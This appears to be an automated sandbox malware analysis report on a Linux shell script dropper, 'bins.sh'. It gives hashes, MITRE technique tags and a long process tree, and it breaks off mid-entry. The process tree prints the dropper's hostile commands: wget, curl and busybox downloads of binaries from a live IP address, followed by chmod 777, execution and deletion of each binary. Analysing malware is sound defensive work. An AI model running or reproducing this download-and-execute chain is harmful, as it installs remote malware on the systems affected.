33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb

Analysis

max time kernel
75s
max time network
118s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
26/10/2024, 16:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241026-vdedmaxdnj
SHA256 33d5bd7bf035053788e5125ac6bd28acbbdc96c081040ae4e439651c9a63e0eb
MD5 7fa70a875a1766ea59913bd41208921f
SHA1 f6717d23726c949aee763ca00949d57561c8c6b7
SHA512 52c9957b3db1b282ed6ecdde68215e9a081c2319a4486585edff13084e3d3e2e7bde10c30397a510cca4aea11901231f11ca64c174548c948962180c5e1a5816
SSDEEP 192:J0PDHSrDraq5BufPrfWq5iCPDHSrDa65BPWq5iCq4:J0PDHSrDra1HrfWq5iCPDHSrDamWq5i8
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 24 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
699	chmod
767	chmod
805	chmod
860	chmod
911	chmod
680	chmod
727	chmod
752	chmod
811	chmod
893	chmod
905	chmod
705	chmod
741	chmod
797	chmod
819	chmod
833	chmod
848	chmod
873	chmod
692	chmod
714	chmod
785	chmod
879	chmod
885	chmod
899	chmod

Executes dropped EXE 24 IoCs

Checks CPU configuration 1 TTPs 24 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 35 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
802	curl
897	curl
902	wget
765	busybox
768	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
801	wget
904	busybox
907	rm
690	busybox
747	curl
750	busybox
754	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
758	rm
843	busybox
849	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
850	rm
686	curl
903	curl
900	FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
898	busybox
806	Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
769	rm
807	rm
762	curl
694	rm
759	wget
896	wget
906	TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
684	wget
837	wget
901	rm
744	wget
804	busybox
839	curl
693	dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf	curl
File opened for modification	/tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB	curl
File opened for modification	/tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8	curl
File opened for modification	/tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE	curl
File opened for modification	/tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2	curl
File opened for modification	/tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo	curl
File opened for modification	/tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn	curl
File opened for modification	/tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX	curl
File opened for modification	/tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E	curl
File opened for modification	/tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:652
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:656
- /usr/bin/wget
  wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:661
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:678
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:683
- /usr/bin/wget
  wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:684
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:690
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:693
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:694
- /usr/bin/wget
  wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:695
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:698
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:700
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:701
- /usr/bin/wget
  wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:704
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:707
- /usr/bin/wget
  wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:712
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:716
- /usr/bin/wget
  wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:726
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:730
- /usr/bin/wget
  wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:739
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:744
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:750
- /bin/chmod
  chmod 777 FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  ./FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:754
- /bin/rm
  rm FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/wget
  wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:759
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/chmod
  chmod 777 TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  ./TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:768
- /bin/rm
  rm TAbtAFTaSViPxqWafQWWNrOU4jRsoO8NUE
  2⤵
  - System Network Configuration Discovery
  PID:769
- /usr/bin/wget
  wget http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:782
- /bin/chmod
  chmod 777 ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  ./ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm ecF4gNmEYiqwTnEow0zuj0j7MOHi8gOFZv
  2⤵
  PID:788
- /usr/bin/wget
  wget http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:796
- /bin/chmod
  chmod 777 MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  ./MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  - Executes dropped EXE
  PID:799
- /bin/rm
  rm MFKxcuNglcsnYmLkB1n08Nw6gV6mozxIFf
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:801
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/chmod
  chmod 777 Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  ./Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:806
- /bin/rm
  rm Ws2OA8JFaXVIYHIpISkV6UL1eZoRCBm9gB
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/wget
  wget http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:810
- /bin/chmod
  chmod 777 cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  ./cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm cDvUieWSVa79vSvZMttbDBDY3sqd8fvslW
  2⤵
  PID:813
- /usr/bin/wget
  wget http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:816
- /bin/chmod
  chmod 777 iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  ./iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm iY3SptPH12wUcWW5Ghxfdn0G9tzjephwGN
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:831
- /bin/chmod
  chmod 777 rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  ./rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm rXehU58RxNWXc1ChUbmEF3k4Jg2mcSkrrX
  2⤵
  PID:835
- /usr/bin/wget
  wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:837
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:843
- /bin/chmod
  chmod 777 dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  ./dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:849
- /bin/rm
  rm dJzDJ3cr27hqm6mfSGB6ymRHr6KmCiPxc2
  2⤵
  - System Network Configuration Discovery
  PID:850
- /usr/bin/wget
  wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:858
- /bin/chmod
  chmod 777 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  ./5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm 5hgy8tS2dbBJdcZCxnIupHHzMOLytVUee8
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:870
- /bin/chmod
  chmod 777 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  ./5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 5fketNyGm2ilmAmZrA75SbAxELO3CgqJAo
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:878
- /bin/chmod
  chmod 777 ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  ./ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm ogMU6neGalsiSdfV4oFLmBfIlaKau81We8
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:884
- /bin/chmod
  chmod 777 FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  ./FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm FFjg7lKN468RYtJfa9PUl8j2SAdxcJl8Hn
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:892
- /bin/chmod
  chmod 777 MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  ./MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm MYVK4p56djOp2LfM5xXB8BlvyJzZrrmory
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.126.196/bins/FWKkISwJougPjeIPeyJ7BdD5tTu9TeUw5E
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
